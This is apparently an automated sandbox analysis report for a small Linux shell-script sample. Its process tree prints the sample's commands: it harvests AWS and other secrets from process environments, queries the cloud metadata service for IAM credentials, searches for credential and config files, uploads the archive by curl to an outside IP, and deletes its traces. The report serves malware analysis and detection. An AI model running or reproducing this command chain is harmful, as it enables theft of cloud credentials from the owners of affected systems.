3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699

Analysis

max time kernel
31s
max time network
33s
platform
debian-9_mipsel
resource
debian9-mipsel-20260513-en
resource tags

arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
27/10/2026, 00:01

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
Size 5KB
Sample261027-aa7wjsxt5r
SHA256 3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
MD5 597b694b02913a657e408c2c9167e67f
SHA1 40b3d73219fd165837785634dccd67dda172b755
SHA512 0e488bfe46dcb8ac047dd14d76a8cc297a7aead37661a3336567035d4be835ed004edeae8abd534690fd379e39dd658444a692d890de8d219631fdde096cfc1a
SSDEEP 48:SfR4u8wP3FQvymZI/EXbCVuuY3/T/g/poQDwCPQ8cuc1NeQDMIMFRULA/tOSemQ2:sR5P1Bx7YMNcXNeQyFuLAjfQdDcoln+
TLSH
T126C185E9FCBC8871398E487EF54D6B101CC34A2F1DA22A4470A75C89FB2C52DF526B21
MD5 SHA1 SHA512 SSDEEP TLSH

Score

6^/10

discovery execution

Malware Config

Signatures

Enumerates running processes
Discovers information about currently running processes on the system

Command and Scripting Interpreter: Unix Shell 1 TTPs 1 IoCs

Execute scripts via Unix Shell.

execution

Unix Shell

T1059.004

pid	Process
1041	sh

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/20/environ	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/69/environ	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/672/environ	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/78/environ	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for reading	/proc/8/environ	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/375/environ	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/213/environ	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for reading	/proc/24/environ	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for reading	/proc/70/environ	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/5/environ	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/14/environ	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for reading	/proc/700/environ	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/140/environ	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for reading	/proc/15/environ	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for reading	/proc/18/environ	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/721/environ	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for reading	/proc/13/environ	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/704/environ	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/sys/kernel/ngroups_max	id
File opened for reading	/proc/104/environ	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/314/environ	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/705/environ	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for reading	/proc/710/environ	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for reading	/proc/17/environ	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/340/environ	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for reading	/proc/692/environ	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for reading	/proc/9/environ	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for reading	/proc/11/environ	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/474/environ	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/83/environ	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for reading	/proc/316/environ	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/651/environ	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for reading	/proc/filesystems	sed

System Network Configuration Discovery 1 TTPs 4 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1040	tar
1041	sh
1042	gzip
1046	rm

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.aw704/summary.txt	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for modification	/tmp/.aw704/env.txt	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for modification	/tmp/.aw704/procenv.txt	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for modification	/tmp/.aw704/imds_role.txt	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for modification	/tmp/.aw704/files.txt	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for modification	/tmp/.aw_debian9-mipsel-20260513-en-14.tgz	tar

/tmp/3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
/tmp/3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
1⤵
- Reads runtime system information
- Writes file to tmp directory
PID:704
- /bin/hostname
  hostname
  2⤵
  PID:706
- /bin/mkdir
  mkdir -p /tmp/.aw704
  2⤵
  PID:708
- /bin/date
  date -u
  2⤵
  PID:712
- /usr/bin/id
  id
  2⤵
  - Reads runtime system information
  PID:716
- /usr/bin/env
  env
  2⤵
  PID:720
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:723
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:722
- /bin/sed
  sed "s|^|/proc/1/environ: |"
  2⤵
  - Reads runtime system information
  PID:724
- /bin/sed
  sed "s|^|/proc/10/environ: |"
  2⤵
  PID:729
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:728
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:727
- /bin/sed
  sed "s|^|/proc/104/environ: |"
  2⤵
  PID:734
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:733
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:732
- /bin/sed
  sed "s|^|/proc/11/environ: |"
  2⤵
  - Reads runtime system information
  PID:738
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:737
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:736
- /bin/sed
  sed "s|^|/proc/114/environ: |"
  2⤵
  PID:741
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:740
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:739
- /bin/sed
  sed "s|^|/proc/115/environ: |"
  2⤵
  - Reads runtime system information
  PID:744
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:743
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:742
- /bin/sed
  sed "s|^|/proc/12/environ: |"
  2⤵
  - Reads runtime system information
  PID:748
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:747
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:746
- /bin/sed
  sed "s|^|/proc/13/environ: |"
  2⤵
  - Reads runtime system information
  PID:752
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:751
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:750
- /bin/sed
  sed "s|^|/proc/14/environ: |"
  2⤵
  PID:755
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:754
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:753
- /bin/sed
  sed "s|^|/proc/140/environ: |"
  2⤵
  PID:759
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:758
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:757
- /bin/sed
  sed "s|^|/proc/15/environ: |"
  2⤵
  PID:763
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:762
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:761
- /bin/sed
  sed "s|^|/proc/150/environ: |"
  2⤵
  PID:767
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:766
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:765
- /bin/sed
  sed "s|^|/proc/16/environ: |"
  2⤵
  PID:770
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:769
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:768
- /bin/sed
  sed "s|^|/proc/167/environ: |"
  2⤵
  - Reads runtime system information
  PID:774
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:773
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:772
- /bin/sed
  sed "s|^|/proc/17/environ: |"
  2⤵
  - Reads runtime system information
  PID:777
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:776
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:775
- /bin/sed
  sed "s|^|/proc/18/environ: |"
  2⤵
  PID:780
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:779
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:778
- /bin/sed
  sed "s|^|/proc/19/environ: |"
  2⤵
  - Reads runtime system information
  PID:783
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:782
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:781
- /bin/sed
  sed "s|^|/proc/2/environ: |"
  2⤵
  - Reads runtime system information
  PID:786
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:785
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:784
- /bin/sed
  sed "s|^|/proc/20/environ: |"
  2⤵
  - Reads runtime system information
  PID:790
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:789
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:788
- /bin/sed
  sed "s|^|/proc/21/environ: |"
  2⤵
  PID:793
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:792
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:791
- /bin/sed
  sed "s|^|/proc/213/environ: |"
  2⤵
  PID:796
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:795
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:794
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:797
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:798
- /bin/sed
  sed "s|^|/proc/22/environ: |"
  2⤵
  PID:799
- /bin/sed
  sed "s|^|/proc/229/environ: |"
  2⤵
  - Reads runtime system information
  PID:802
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:801
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:800
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:803
- /bin/sed
  sed "s|^|/proc/23/environ: |"
  2⤵
  - Reads runtime system information
  PID:805
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:804
- /bin/sed
  sed "s|^|/proc/24/environ: |"
  2⤵
  PID:808
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:807
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:806
- /bin/sed
  sed "s|^|/proc/3/environ: |"
  2⤵
  PID:811
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:810
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:809
- /bin/sed
  sed "s|^|/proc/314/environ: |"
  2⤵
  - Reads runtime system information
  PID:814
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:813
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:812
- /bin/sed
  sed "s|^|/proc/316/environ: |"
  2⤵
  - Reads runtime system information
  PID:817
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:816
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:815
- /bin/sed
  sed "s|^|/proc/334/environ: |"
  2⤵
  PID:820
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:819
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:818
- /bin/sed
  sed "s|^|/proc/336/environ: |"
  2⤵
  - Reads runtime system information
  PID:823
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:822
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:821
- /bin/sed
  sed "s|^|/proc/340/environ: |"
  2⤵
  PID:826
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:825
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:824
- /bin/sed
  sed "s|^|/proc/36/environ: |"
  2⤵
  PID:829
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:828
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:827
- /bin/sed
  sed "s|^|/proc/367/environ: |"
  2⤵
  PID:832
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:831
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:830
- /bin/sed
  sed "s|^|/proc/368/environ: |"
  2⤵
  - Reads runtime system information
  PID:835
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:834
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:833
- /bin/sed
  sed "s|^|/proc/37/environ: |"
  2⤵
  - Reads runtime system information
  PID:838
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:837
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:836
- /bin/sed
  sed "s|^|/proc/375/environ: |"
  2⤵
  PID:841
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:840
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:839
- /bin/sed
  sed "s|^|/proc/4/environ: |"
  2⤵
  PID:844
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:843
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:842
- /bin/sed
  sed "s|^|/proc/474/environ: |"
  2⤵
  - Reads runtime system information
  PID:847
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:846
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:845
- /bin/sed
  sed "s|^|/proc/5/environ: |"
  2⤵
  PID:850
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:849
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:848
- /bin/sed
  sed "s|^|/proc/6/environ: |"
  2⤵
  - Reads runtime system information
  PID:853
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:852
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:851
- /bin/sed
  sed "s|^|/proc/651/environ: |"
  2⤵
  - Reads runtime system information
  PID:856
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:855
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:854
- /bin/sed
  sed "s|^|/proc/663/environ: |"
  2⤵
  - Reads runtime system information
  PID:859
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:858
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:857
- /bin/sed
  sed "s|^|/proc/667/environ: |"
  2⤵
  PID:862
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:861
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:860
- /bin/sed
  sed "s|^|/proc/672/environ: |"
  2⤵
  PID:865
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:864
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:863
- /bin/sed
  sed "s|^|/proc/673/environ: |"
  2⤵
  - Reads runtime system information
  PID:868
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:867
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:866
- /bin/sed
  sed "s|^|/proc/69/environ: |"
  2⤵
  PID:871
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:870
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:869
- /bin/sed
  sed "s|^|/proc/692/environ: |"
  2⤵
  PID:874
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:873
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:872
- /bin/sed
  sed "s|^|/proc/694/environ: |"
  2⤵
  - Reads runtime system information
  PID:877
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:876
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:875
- /bin/sed
  sed "s|^|/proc/699/environ: |"
  2⤵
  PID:880
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:879
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:878
- /bin/sed
  sed "s|^|/proc/7/environ: |"
  2⤵
  PID:883
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:882
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:881
- /bin/sed
  sed "s|^|/proc/70/environ: |"
  2⤵
  - Reads runtime system information
  PID:886
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:885
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:884
- /bin/sed
  sed "s|^|/proc/700/environ: |"
  2⤵
  - Reads runtime system information
  PID:889
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:888
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:887
- /bin/sed
  sed "s|^|/proc/702/environ: |"
  2⤵
  - Reads runtime system information
  PID:892
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:891
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:890
- /bin/sed
  sed "s|^|/proc/704/environ: |"
  2⤵
  - Reads runtime system information
  PID:895
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:894
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:893
- /bin/sed
  sed "s|^|/proc/705/environ: |"
  2⤵
  - Reads runtime system information
  PID:898
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:897
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:896
- /bin/sed
  sed "s|^|/proc/71/environ: |"
  2⤵
  PID:901
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:900
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:899
- /bin/sed
  sed "s|^|/proc/710/environ: |"
  2⤵
  - Reads runtime system information
  PID:904
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:903
- /bin/sed
  sed "s|^|/proc/711/environ: |"
  2⤵
  PID:907
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:906
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:905
- /bin/sed
  sed "s|^|/proc/72/environ: |"
  2⤵
  PID:910
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:909
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:908
- /bin/sed
  sed "s|^|/proc/721/environ: |"
  2⤵
  PID:913
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:912
- /bin/sed
  sed "s|^|/proc/73/environ: |"
  2⤵
  - Reads runtime system information
  PID:916
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:915
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:914
- /bin/sed
  sed "s|^|/proc/74/environ: |"
  2⤵
  PID:919
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:918
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:917
- /bin/sed
  sed "s|^|/proc/76/environ: |"
  2⤵
  PID:922
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:921
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:920
- /bin/sed
  sed "s|^|/proc/77/environ: |"
  2⤵
  PID:925
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:924
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:923
- /bin/sed
  sed "s|^|/proc/78/environ: |"
  2⤵
  PID:928
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:927
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:926
- /bin/sed
  sed "s|^|/proc/8/environ: |"
  2⤵
  PID:931
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:930
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:929
- /bin/sed
  sed "s|^|/proc/81/environ: |"
  2⤵
  - Reads runtime system information
  PID:934
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:933
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:932
- /bin/sed
  sed "s|^|/proc/83/environ: |"
  2⤵
  PID:937
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:936
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:935
- /bin/sed
  sed "s|^|/proc/9/environ: |"
  2⤵
  PID:940
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:939
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:938
- /usr/bin/curl
  curl -s -m 4 http://169.254.169.254/latest/meta-data/iam/security-credentials/
  2⤵
  - Reads runtime system information
  PID:941
- /usr/bin/head
  head -1 /tmp/.aw704/imds_role.txt
  2⤵
  PID:988
- /usr/bin/tr
  tr -d "\\r"
  2⤵
  PID:989
- /usr/bin/tr
  tr -d "\\r"
  2⤵
  PID:992
- /usr/bin/curl
  curl -s -m 4 -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 60" http://169.254.169.254/latest/api/token
  2⤵
  PID:991
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1024
- /bin/grep
  grep -a AWS_CONTAINER_CREDENTIALS_RELATIVE_URI
  2⤵
  PID:1025
- /usr/bin/cut
  cut "-d=" -f2
  2⤵
  PID:1026
- /usr/bin/cut
  cut "-d=" -f2
  2⤵
  PID:1030
- /bin/grep
  grep -a AWS_CONTAINER_CREDENTIALS_FULL_URI
  2⤵
  PID:1029
- /usr/bin/env
  env
  2⤵
  PID:1028
- /usr/bin/head
  head -300
  2⤵
  PID:1032
- /usr/bin/find
  find / -maxdepth 6 "(" -name .env -o -name "*.env" -o -name "docker-compose*.yml" -o -name "docker-compose*.yaml" -o -name "*.tfstate" -o -name credentials.xml -o -name application.yml -o -name application.properties -o -name .s3cfg -o -name "aws-config*" ")" -type f -size -3M
  2⤵
  PID:1031
- /bin/tar
  tar czf /tmp/.aw_debian9-mipsel-20260513-en-14.tgz -C /tmp .aw704
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1040
- - /bin/sh
    /bin/sh -c gzip
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    - System Network Configuration Discovery
    PID:1041
  - - /bin/gzip
      gzip
      4⤵
      System Network Configuration Discovery
      PID:1042
- /usr/bin/wc
  wc -c
  2⤵
  PID:1043
- /usr/bin/curl
  curl -s -m 25 --data-binary "@/tmp/.aw_debian9-mipsel-20260513-en-14.tgz" "http://185.106.98.235/upload?h=debian9-mipsel-20260513-en-14"
  2⤵
  PID:1044
- /bin/grep
  grep -q EXFIL_OK /tmp/.aw704/summary.txt
  2⤵
  PID:1045
- /bin/rm
  rm -f /tmp/.aw_debian9-mipsel-20260513-en-14.tgz
  2⤵
  - System Network Configuration Discovery
  PID:1046
- /bin/rm
  rm -rf /tmp/.aw704
  2⤵
  PID:1047

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Unix Shell

T1059.004

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

env.txt

Path /tmp/.aw704/env.txt
Size 241B
SHA256 2d50fb735d80b64d85ddb66769b64480ad432c819c874648bf61f3f45a0b9710
